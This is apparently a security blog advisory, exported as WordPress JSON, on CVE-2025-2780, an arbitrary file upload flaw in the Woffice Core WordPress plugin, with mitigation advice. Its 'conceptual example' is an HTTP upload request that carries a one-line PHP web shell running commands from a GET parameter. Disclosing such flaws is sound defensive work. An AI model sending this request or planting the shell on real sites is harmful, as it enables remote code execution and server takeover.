{"id":21379,"date":"2025-04-11T06:51:25","date_gmt":"2025-04-11T06:51:25","guid":{"rendered":""},"modified":"2025-05-29T11:40:24","modified_gmt":"2025-05-29T17:40:24","slug":"cve-2025-2780-critical-arbitrary-file-upload-vulnerability-in-woffice-core-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-2780-critical-arbitrary-file-upload-vulnerability-in-woffice-core-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2025-2780: Critical Arbitrary File Upload Vulnerability in Woffice Core Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the realm of cybersecurity, a new vulnerability has been identified in the Woffice Core plugin for WordPress, used by the Woffice Theme. This vulnerability, designated as CVE-2025-2780, poses a critical threat to any WordPress site utilizing the plugin. It allows authenticated attackers with Subscriber-level access and above to upload arbitrary files, potentially leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-29048-remote-code-execution-via-oxmf-template-injection-in-open-xchange-app-suite\/\"  data-wpil-monitor-id=\"24568\">remote code execution<\/a> and complete system compromise. Given the widespread use of the Woffice Theme, it is crucial for administrators and users to understand the implications of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-51063-understanding-and-mitigating-a-dom-based-xss-vulnerability-in-qstar-archive-solutions\/\"  data-wpil-monitor-id=\"27040\">vulnerability<\/a> and take necessary steps to mitigate its potential impact.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-2780<br \/>\nSeverity: Critical (CVSS: 9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (Subscriber-level access)<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0573-critical-vulnerability-in-totolink-lr1200gb-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"29041\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2280506589\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Woffice Core <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/\"  data-wpil-monitor-id=\"26010\">Plugin for WordPress<\/a> | Up to and including 5.4.21<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The root of this vulnerability lies in the &#8216;saveFeaturedImage&#8217; function of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6532-cross-site-request-forgery-vulnerability-in-wp-blogs-planetarium-wordpress-plugin-vulnerability-summary\/\"  data-wpil-monitor-id=\"25034\">Woffice Core plugin<\/a>. This function lacks proper file type validation, allowing authenticated users to upload <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2941-arbitrary-file-moving-vulnerability-in-woocommerce-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"28954\">arbitrary files<\/a> to the server. An attacker with Subscriber-level access or higher could exploit this vulnerability by uploading a malicious script or executable file, which could then be invoked to achieve <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22937-critical-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"24871\">remote code execution<\/a>. This could potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0572-critical-vulnerability-in-totolink-lr1200gb-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"28980\">lead to full system<\/a> compromise, data theft, or other damaging consequences.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2514021083\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-47992-critical-buffer-overflow-vulnerability-exploit-in-freeimage-library\/\"  data-wpil-monitor-id=\"25581\">vulnerability might be exploited<\/a>. In this case, the attacker sends a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4391-wordpress-echo-rss-feed-post-generator-plugin-arbitrary-file-upload-vulnerability\/\"  data-wpil-monitor-id=\"50842\">POST request to the server with a malicious file:<\/a><\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/woffice-core\/inc\/ajax.php?function=saveFeaturedImage HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;exploit.php&quot;\nContent-Type: application\/php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In the above example, the attacker is uploading a PHP file named &#8216;exploit.php&#8217; which, when <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21318-remote-code-execution-in-microsoft-sharepoint-server-via-deserialization\/\"  data-wpil-monitor-id=\"25451\">executed on the server<\/a>, will run any command passed to it via the &#8216;cmd&#8217; GET parameter.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The most effective mitigation for this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49002-critical-vulnerability-in-dataease-bypassing-patch-for-cve-2025-32966\/\"  data-wpil-monitor-id=\"84132\">vulnerability is to apply the vendor&#8217;s patch<\/a>. If for some reason applying the patch is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can be configured to block or alert on attempts to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2328-arbitrary-file-deletion-vulnerability-in-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin\/\"  data-wpil-monitor-id=\"29552\">upload files<\/a> via the &#8216;saveFeaturedImage&#8217; function. It is also advisable to regularly <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6791-sql-injection-vulnerability-in-centreon-web-monitoring-event-logs-module\/\"  data-wpil-monitor-id=\"84131\">monitor server logs<\/a> for suspicious activity.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the realm of cybersecurity, a new vulnerability has been identified in the Woffice Core plugin for WordPress, used by the Woffice Theme. This vulnerability, designated as CVE-2025-2780, poses a critical threat to any WordPress site utilizing the plugin. It allows authenticated attackers with Subscriber-level access and above to upload arbitrary files, potentially leading [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-21379","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/21379","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=21379"}],"version-history":[{"count":14,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/21379\/revisions"}],"predecessor-version":[{"id":76914,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/21379\/revisions\/76914"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=21379"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=21379"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=21379"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=21379"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=21379"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=21379"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=21379"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=21379"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=21379"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}